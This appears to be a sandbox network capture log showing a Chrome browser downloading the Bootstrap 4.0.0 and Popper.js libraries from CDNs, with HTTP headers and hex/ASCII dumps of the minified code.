2024-03-15 12:59:24 UTC	945	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: e40300170492f82fd7c3f1ca01500ba5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 163290 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 864cae343b834322-EWR alt-svc: h3=":443"; ma=86400
2024-03-15 12:59:24 UTC	424	IN	Data Raw: 37 63 30 33 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c03/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d Data Ascii: y","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 6c Data Ascii: ger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(l
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 65 Data Ascii: eturn o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._de
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 Data Ascii: if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-p
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 63 Data Ascii: AVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".ac
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 61 Data Ascii: l),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];va
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f Data Ascii: est(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirectio
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 2b Data Ascii: et:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "+
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 3d Data Ascii: (y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.17	49827	104.17.25.14	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:24 UTC	751	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:24 UTC	956	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 149705 Expires: Wed, 05 Mar 2025 12:59:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e8L1V3E8jYmbQu%2FwDjAVN3em0J7MkeUak4QxbAeG29RWXS9H9zo2Av6XfPihCqzuqg06vYH1O5iN2QivFo1vhWiKuoCy7EiivvHV4BqXnamaDiYEAsaG%2B7xDtiilw9TpTdTXqcPp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 864cae344f01c427-EWR alt-svc: h3=":443"; ma=86400
2024-03-15 12:59:24 UTC	413	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 Data Ascii: odeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':re
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b Data Ascii: o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f Data Ascii: top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c Data Ascii: p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a Data Ascii: rn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a Data Ascii: ptions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:
